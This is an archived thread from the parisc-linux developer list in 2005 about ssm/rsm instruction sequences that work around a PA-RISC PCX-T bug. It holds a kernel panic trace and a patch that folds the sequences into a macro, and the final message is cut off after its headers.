Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 16C8E298059;
	Tue, 26 Apr 2005 23:20:57 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13444-10; Tue, 26 Apr 2005 23:20:55 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9E0AC298052; Tue, 26 Apr 2005 23:20:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050427022925.GH2612@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5UUdYkABeSE57L6WZHQhaXN2IGRvb8CX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22651

On Tue, Apr 26, 2005 at 08:29:25PM -0600, Grant Grundler wrote:
> The example code is just that, an example:
> 	SSM	0,gr0	; initial RSM, SSM, or MTSM
> ...
> 
> AFAICT, that sequence does nothing but burn some cycles.

*sigh*. The ssm 0,0/nop * 8/rsm sequence isn't so obvious.
Richard Hirst added this comment to entry.S in 2001:
        * The ssm is necessary due to a PCXT bug

http://lists.parisc-linux.org/hypermail/parisc-linux-cvs/3628.html

Richard, any clue what the bug is?
I don't have a PCX-T ERS or errata sheet to look this up.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ssm/rsm sequences
Date: Wed, 27 Apr 2005 15:27:21 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <426F2530000004FE@mail-6-bnl.tiscali.it>
References: <426F253000000322@mail-6-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623765 14073 80.91.229.3 (22 Nov 2014 02:36:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:05 +0000 (UTC)
Cc: rhirst@levanta.com
To: "Grant Grundler" <grundler@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Apr 2005 13:27:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 27 Apr 2005 15:27:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3EB3C7D686;
	Wed, 27 Apr 2005 07:27:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23895-08; Wed, 27 Apr 2005 07:27:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 285337D687;
	Wed, 27 Apr 2005 07:27:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD83B7D685
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 07:27:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23895-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 07:27:32 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 24C8C7D684
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 07:27:32 -0600 (MDT)
Original-Received: from mail-6-bnl.mail.tiscali.sys ([10.39.115.136]
	helo=mail-6-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DQmZW-0005vI-Uo; Wed, 27 Apr 2005 15:27:26 +0200
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Wed, 27 Apr 2005 15:27:21 +0200
In-Reply-To: <426F253000000322@mail-6-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DvYdYiV1eSE57L6WZHQhaXN2IGRvbwCS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22652

Hello Grant,
> 
mmm aleady reach to reboot without pb (b180 32bit and b2k 64bit) :-)

unfortunately b180 pb is always there:
Backtrace:
 [<1015146c>] cache_grow+0xd4/0x1ac
 [<101516ec>] cache_alloc_refill+0x1a8/0x26c
 [<10151a10>] kmem_cache_alloc+0x48/0x4c
 [<101b634c>] ext3_alloc_inode+0x18/0x40
 [<10187158>] alloc_inode+0x28/0x1a0
 [<10187dac>] new_inode+0x10/0x8c
 [<101aaf90>] ext3_new_inode+0xc4/0x744
 [<101b43a0>] ext3_mkdir+0xc0/0x38c
 [<1017c8c8>] vfs_mkdir+0xcc/0x12c
 [<1017c9ec>] sys_mkdir+0xc4/0x120
 [<1010d120>] syscall_exit+0x0/0x14


Kernel Fault: Code=3D15 regs=3D14cb0540 (Addr=3D27b274cc)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001110011100001111 Not tainted
r00-03  00000000 10517e58 1015146c 105044f8
r04-07  17623000 100e36e0 00000010 00000050
r08-11  00000001 14cd43c0 1216d5d4 000001ed
r12-15  16eccdd4 000041ed 0004db4e 000edec8
r16-19  000edfc8 000edda8 00000000 27b274f8
r20-23  27b274bc 000001bc 000001c8 00000050
r24-27  105044bc 17623000 100e36e0 10400010
r28-31  27b274bc 00000000 14cb0540 10153dc4
sr0-3   00000000 00000000 00000000 00000a4b
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101511f4 101511f8
 IIR: 6b800020    ISR: 00000000  IOR: 27b274cc
 CPU:        0   CR30: 14cb0000 CR31: 10464000
 ORIG_R28: 00000000
 IAOQ[0]: alloc_slabmgmt+0x30/0x6c
 IAOQ[1]: alloc_slabmgmt+0x34/0x6c
 RP(r2): cache_grow+0xd4/0x1ac
Kernel panic - not syncing: Kernel Fault
 <0>Rebooting in 120 seconds..

Sorry,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ssm/rsm sequences
Date: Wed, 27 Apr 2005 09:00:50 -0600
Lines: 417
Approved: news@gmane.org
Message-ID: <20050427150050.GB21784@colo.lackof.org>
References: <20050425165540.GD12325@colo.lackof.org>
	<200504251744.j3PHixu9015886@hiauly1.hia.nrc.ca>
	<20050427022925.GH2612@colo.lackof.org>
	<20050427052055.GJ2612@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623765 14078 80.91.229.3 (22 Nov 2014 02:36:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:05 +0000 (UTC)
Cc: rhirst@levanta.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Apr 2005 14:58:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 27 Apr 2005 16:58:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AA007D660;
	Wed, 27 Apr 2005 08:58:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24484-03; Wed, 27 Apr 2005 08:58:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37DDC7D686;
	Wed, 27 Apr 2005 08:58:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7954A7D650
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 08:58:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24157-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 08:58:22 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 3E7D47D62A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 08:58:21 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E5802298052;
	Wed, 27 Apr 2005 09:00:51 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21948-01; Wed, 27 Apr 2005 09:00:50 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CE1A029803F; Wed, 27 Apr 2005 09:00:50 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050427052055.GJ2612@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: z80dYksXeSE57L6WZHQhaXN2IGRvbwCa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22653

On Tue, Apr 26, 2005 at 11:20:55PM -0600, Grant Grundler wrote:
> *sigh*. The ssm 0,0/nop * 8/rsm sequence isn't so obvious.
> Richard Hirst added this comment to entry.S in 2001:
>         * The ssm is necessary due to a PCXT bug

Here's a new patch WITHOUT the s/__lp64__/CONFIG_64BIT/ changes.

Please review.

grant


Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/entry.S,v
retrieving revision 1.27
diff -u -p -r1.27 entry.S
--- arch/parisc/kernel/entry.S	1 Apr 2005 07:37:25 -0000	1.27
+++ arch/parisc/kernel/entry.S	27 Apr 2005 06:27:57 -0000
@@ -893,9 +893,6 @@ _switch_to_ret:
 	 * this way, then we will need to copy %sr3 in to PT_SR[3..7], and
 	 * adjust IASQ[0..1].
 	 *
-	 * Note that the following code uses a "relied upon translation".
-	 * See the parisc ACD for details. The ssm is necessary due to a
-	 * PCXT bug.
 	 */
 
 	.align 4096
@@ -990,24 +987,18 @@ intr_restore:
 	rest_fp         %r1
 	rest_general    %r29
 
-	/* Create a "relied upon translation" PA 2.0 Arch. F-5 */
-	ssm		0,%r0
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
+	pcxt_ssm_bug
 	tophys_r1       %r29
-	rsm             (PSW_SM_Q|PSW_SM_P|PSW_SM_D|PSW_SM_I),%r0
+	rsm             PSW_SM_QUIET,%r0	/* prepare for rfi */
 
 	/* Restore space id's and special cr's from PT_REGS
-	 * structure pointed to by r29 */
+	 * structure pointed to by r29
+	 */
 	rest_specials	%r29
 
-	/* Important: Note that rest_stack restores r29
-	 * last (we are using it)! It also restores r1 and r30. */
+	/* IMPORTANT: rest_stack restores r29 last (we are using it)!
+	 * It also restores r1 and r30.
+	 */
 	rest_stack
 
 	rfi
Index: arch/parisc/kernel/head.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/head.S,v
retrieving revision 1.11
diff -u -p -r1.11 head.S
--- arch/parisc/kernel/head.S	1 Nov 2004 16:15:50 -0000	1.11
+++ arch/parisc/kernel/head.S	27 Apr 2005 06:27:57 -0000
@@ -254,32 +254,14 @@ $is_pa20:
 $install_iva:
 	mtctl		%r10,%cr14
 
-#ifdef __LP64__
 	b		aligned_rfi
 	nop
 
-	.align          256
+	.align          128
 aligned_rfi:
-	ssm             0,0
-	nop             /* 1 */
-	nop             /* 2 */
-	nop             /* 3 */
-	nop             /* 4 */
-	nop             /* 5 */
-	nop             /* 6 */
-	nop             /* 7 */
-	nop             /* 8 */
-#endif
-
-#ifdef __LP64__ /* move to psw.h? */
-#define		PSW_BITS	PSW_Q+PSW_I+PSW_D+PSW_P+PSW_R
-#else
-#define		PSW_BITS	PSW_SM_Q
-#endif
-
-$rfi:	
-	/* turn off troublesome PSW bits */
-	rsm		PSW_BITS,%r0
+	pcxt_ssm_bug
+	rsm		PSW_SM_QUIET,%r0	/* off troublesome PSW bits */
+	/* Don't need NOPs, have 8 compliant insn below */
 
 	/* kernel PSW:
 	 *  - no interruptions except HPMC and TOC (which are handled by PDC)
Index: arch/parisc/kernel/pacache.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/pacache.S,v
retrieving revision 1.17
diff -u -p -r1.17 pacache.S
--- arch/parisc/kernel/pacache.S	18 Apr 2005 05:52:31 -0000	1.17
+++ arch/parisc/kernel/pacache.S	27 Apr 2005 06:27:57 -0000
@@ -62,25 +62,10 @@ flush_tlb_all_local:
 	 * to happen in real mode with all interruptions disabled.
 	 */
 
-	/*
-	 * Once again, we do the rfi dance ... some day we need examine
-	 * all of our uses of this type of code and see what can be
-	 * consolidated.
-	 */
-
-	rsm		PSW_SM_I, %r19		/* relied upon translation! PA 2.0 Arch. F-5 */
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
+	pcxt_ssm_bug
 	
-	rsm		PSW_SM_Q, %r0		/* Turn off Q bit to load iia queue */
-	ldil		L%REAL_MODE_PSW, %r1
-	ldo		R%REAL_MODE_PSW(%r1), %r1
-	mtctl		%r1, %cr22
+	/* relied upon translation! PA 2.0 Arch. F-4 and F-5 */
+	rsm		PSW_SM_Q+PSW_SM_I, %r0	/* prep to load iia queue */
 	mtctl		%r0, %cr17		/* Clear IIASQ tail */
 	mtctl		%r0, %cr17		/* Clear IIASQ head */
 	ldil		L%PA(1f), %r1
@@ -88,6 +73,8 @@ flush_tlb_all_local:
 	mtctl		%r1, %cr18		/* IIAOQ head */
 	ldo		4(%r1), %r1
 	mtctl		%r1, %cr18		/* IIAOQ tail */
+	load32		REAL_MODE_PSW, %r1
+	mtctl		%r1, %cr22
 	rfi
 	nop
 
@@ -178,15 +165,14 @@ fdtonemiddle:					/* Loop if LOOP = 1 */
 	ADDIB>		-1, %r22, fdtoneloop	/* Outer loop count decr */
 	add		%r21, %r20, %r20	/* increment space */
 
-fdtdone:
 
-	/* Switch back to virtual mode */
+fdtdone:
+	/*
+	 * Switch back to virtual mode
+	 */
+	pcxt_ssm_bug
 
-	rsm		PSW_SM_Q, %r0		/* clear Q bit to load iia queue */
-	ldil		L%KERNEL_PSW, %r1
-	ldo		R%KERNEL_PSW(%r1), %r1
-	or		%r1, %r19, %r1		/* Set I bit if set on entry */
-	mtctl		%r1, %cr22
+	rsm		PSW_SM_Q+PSW_SM_I, %r0	/* prep to load iia queue */
 	mtctl		%r0, %cr17		/* Clear IIASQ tail */
 	mtctl		%r0, %cr17		/* Clear IIASQ head */
 	ldil		L%(2f), %r1
@@ -194,6 +180,9 @@ fdtdone:
 	mtctl		%r1, %cr18		/* IIAOQ head */
 	ldo		4(%r1), %r1
 	mtctl		%r1, %cr18		/* IIAOQ tail */
+	load32		KERNEL_PSW, %r1
+	or		%r1, %r19, %r1		/* Set I bit if set on entry */
+	mtctl		%r1, %cr22
 	rfi
 	nop
 
@@ -238,7 +227,7 @@ fioneloop:					/* Loop if LOOP = 1 */
 
 fisync:
 	sync
-	mtsm		%r22
+	mtsm		%r22			/* restore I-bit */
 	bv		%r0(%r2)
 	nop
 	.exit
@@ -281,7 +270,7 @@ fdoneloop:					/* Loop if LOOP = 1 */
 fdsync:
 	syncdma
 	sync
-	mtsm		%r22
+	mtsm		%r22			/* restore I-bit */
 	bv		%r0(%r2)
 	nop
 	.exit
@@ -1005,21 +994,12 @@ disable_sr_hashing_asm:
 	.callinfo NO_CALLS
 	.entry
 
-	/* Switch to real mode */
+	/*
+	 * Switch to real mode
+	 */
+	pcxt_ssm_bug
 
-	ssm		0, %r0			/* relied upon translation! */
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	
-	rsm		(PSW_SM_Q|PSW_SM_I), %r0 /* disable Q&I to load the iia queue */
-	ldil		L%REAL_MODE_PSW, %r1
-	ldo		R%REAL_MODE_PSW(%r1), %r1
-	mtctl		%r1, %cr22
+	rsm		PSW_SM_Q+PSW_SM_I, %r0	/* prep to load iia queue */
 	mtctl		%r0, %cr17		/* Clear IIASQ tail */
 	mtctl		%r0, %cr17		/* Clear IIASQ head */
 	ldil		L%PA(1f), %r1
@@ -1027,6 +1007,8 @@ disable_sr_hashing_asm:
 	mtctl		%r1, %cr18		/* IIAOQ head */
 	ldo		4(%r1), %r1
 	mtctl		%r1, %cr18		/* IIAOQ tail */
+	load32		REAL_MODE_PSW, %r1
+	mtctl		%r1, %cr22
 	rfi
 	nop
 
@@ -1065,13 +1047,10 @@ srdis_pa20:
 	.word		0x145c1840		/* mtdiag %r28, %dr2 */
 
 srdis_done:
-
 	/* Switch back to virtual mode */
+	pcxt_ssm_bug
 
-	rsm		PSW_SM_Q, %r0		/* clear Q bit to load iia queue */
-	ldil		L%KERNEL_PSW, %r1
-	ldo		R%KERNEL_PSW(%r1), %r1
-	mtctl		%r1, %cr22
+	rsm		PSW_SM_Q+PSW_SM_I, %r0	/* prep to load iia queue */
 	mtctl		%r0, %cr17		/* Clear IIASQ tail */
 	mtctl		%r0, %cr17		/* Clear IIASQ head */
 	ldil 	   	L%(2f), %r1
@@ -1079,6 +1058,8 @@ srdis_done:
 	mtctl		%r1, %cr18		/* IIAOQ head */
 	ldo		4(%r1), %r1
 	mtctl		%r1, %cr18		/* IIAOQ tail */
+	load32		KERNEL_PSW, %r1
+	mtctl		%r1, %cr22
 	rfi
 	nop
 
Index: arch/parisc/kernel/real2.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/real2.S,v
retrieving revision 1.17
diff -u -p -r1.17 real2.S
--- arch/parisc/kernel/real2.S	7 Jan 2005 21:14:33 -0000	1.17
+++ arch/parisc/kernel/real2.S	27 Apr 2005 06:27:57 -0000
@@ -147,17 +147,9 @@ restore_control_regs:
 	.text
 rfi_virt2real:
 	/* switch to real mode... */
-	ssm		0,0		/* See "relied upon translation" */
-	nop				/* PA 2.0 Arch. F-5 */
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
+	pcxt_ssm_bug
 	
-	rsm             (PSW_SM_Q|PSW_SM_I),%r0  /* disable Q & I bits to load iia queue */
+	rsm             PSW_SM_Q+PSW_SM_I,%r0  /* prep to load iia queue */
 	mtctl		%r0, %cr17	/* Clear IIASQ tail */
 	mtctl		%r0, %cr17	/* Clear IIASQ head */
 	load32		PA(rfi_v2r_1), %r1
@@ -184,17 +176,9 @@ rfi_v2r_1:
 	.text
 	.align 128
 rfi_real2virt:
-	ssm		0,0		/* See "relied upon translation" */
-	nop				/* PA 2.0 Arch. F-5 */
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	
-	rsm             PSW_SM_Q,%r0    /* disable Q bit to load iia queue */
+	pcxt_ssm_bug
+
+	rsm             PSW_SM_Q+PSW_SM_I,%r0    /* prep to load iia queue */
 	mtctl		%r0, %cr17	/* Clear IIASQ tail */
 	mtctl		%r0, %cr17	/* Clear IIASQ head */
 	load32		(rfi_r2v_1), %r1
Index: include/asm-parisc/assembly.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/assembly.h,v
retrieving revision 1.10
diff -u -p -r1.10 assembly.h
--- include/asm-parisc/assembly.h	4 Feb 2005 19:34:33 -0000	1.10
+++ include/asm-parisc/assembly.h	27 Apr 2005 06:27:59 -0000
@@ -450,5 +450,23 @@
 	REST_CR	(%cr22, PT_PSW	(\regs))
 	.endm
 
+#if defined(CONFIG_PA7000)
+	.macro	pcxt_ssm_bug
+	/* Create a "relied upon translation" PA 2.0 Arch. page F-4 and F-5
+	* The ssm is necessary due to a PCXT bug. Ie not needed for 64-bit.
+	*/
+	ssm	0,%r0
+	nop	/* 1 */
+	nop	/* 2 */
+	nop	/* 3 */
+	nop	/* 4 */
+	nop	/* 5 */
+	nop	/* 6 */
+	nop	/* 7 */
+	.endm
+#else
+#define pcxt_ssm_bug	/* Thank $DEITY. You don't have brain damaged HW. */
+#endif
+
 #endif /* __ASSEMBLY__ */
 #endif
Index: include/asm-parisc/psw.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/psw.h,v
retrieving revision 1.1
diff -u -p -r1.1 psw.h
--- include/asm-parisc/psw.h	29 Jul 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/psw.h	27 Apr 2005 06:27:59 -0000
@@ -9,6 +9,16 @@
 #define	PSW_G	0x00000040	/* PA1.x only */
 #define PSW_O	0x00000080	/* PA2.0 only */
 
+/* ssm/rsm instructions number PSW_W and PSW_E differently */
+#define PSW_SM_I	PSW_I	/* Enable External Interrupts */
+#define PSW_SM_D	PSW_D
+#define PSW_SM_P	PSW_P
+#define PSW_SM_Q	PSW_Q	/* Enable Interrupt State Collection */
+#define PSW_SM_R	PSW_R	/* Enable Recover Counter Trap */
+#define PSW_SM_W	0x200	/* PA2.0 only : Enable Wide Mode */
+
+#define PSW_SM_QUIET	PSW_SM_R+PSW_SM_Q+PSW_SM_P+PSW_SM_D+PSW_SM_I
+
 #define PSW_CB	0x0000ff00
 
 #define	PSW_M	0x00010000
@@ -30,33 +40,21 @@
 #define	PSW_Z	0x40000000	/* PA1.x only */
 #define	PSW_Y	0x80000000	/* PA1.x only */
 
-#ifdef __LP64__
-#define PSW_HI_CB 0x000000ff    /* PA2.0 only */
+#ifdef CONFIG_64BIT
+#  define PSW_HI_CB 0x000000ff    /* PA2.0 only */
 #endif
 
-/* PSW bits to be used with ssm/rsm */
-#define PSW_SM_I        0x1
-#define PSW_SM_D        0x2
-#define PSW_SM_P        0x4
-#define PSW_SM_Q        0x8
-#define PSW_SM_R        0x10
-#define PSW_SM_F        0x20
-#define PSW_SM_G        0x40
-#define PSW_SM_O        0x80
-#define PSW_SM_E        0x100
-#define PSW_SM_W        0x200
-
-#ifdef __LP64__
-#  define USER_PSW      (PSW_C | PSW_Q | PSW_P | PSW_D | PSW_I)
-#  define KERNEL_PSW    (PSW_W | PSW_C | PSW_Q | PSW_P | PSW_D)
-#  define REAL_MODE_PSW (PSW_W | PSW_Q)
-#  define USER_PSW_MASK (PSW_W | PSW_T | PSW_N | PSW_X | PSW_B | PSW_V | PSW_CB)
-#  define USER_PSW_HI_MASK (PSW_HI_CB)
-#else
-#  define USER_PSW      (PSW_C | PSW_Q | PSW_P | PSW_D | PSW_I)
-#  define KERNEL_PSW    (PSW_C | PSW_Q | PSW_P | PSW_D)
-#  define REAL_MODE_PSW (PSW_Q)
-#  define USER_PSW_MASK (PSW_T | PSW_N | PSW_X | PSW_B | PSW_V | PSW_CB)
+#ifdef CONFIG_64BIT
+#  define USER_PSW_HI_MASK	PSW_HI_CB
+#  define WIDE_PSW		PSW_W
+#else 
+#  define WIDE_PSW		0
 #endif
+
+/* Used when setting up for rfi */
+#define KERNEL_PSW    (WIDE_PSW | PSW_C | PSW_Q | PSW_P | PSW_D)
+#define REAL_MODE_PSW (WIDE_PSW | PSW_Q)
+#define USER_PSW_MASK (WIDE_PSW | PSW_T | PSW_N | PSW_X | PSW_B | PSW_V | PSW_CB)
+#define USER_PSW      (PSW_C | PSW_Q | PSW_P | PSW_D | PSW_I)
 
 #endif
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ssm/rsm sequences
Date: Wed, 27 Apr 2005 09:01:57 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20050427150157.GC21784@colo.lackof.org>
References: <20050425165540.GD12325@colo.lackof.org>
	<200504251744.j3PHixu9015886@hiauly1.hia.nrc.ca>
	<20050427022925.GH2612@colo.lackof.org>
	<20050427052055.GJ2612@colo.lackof.org>
	<20050427065822.GK2612@colo.lackof.org>
	<16467.193.160.141.5.1114586311.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
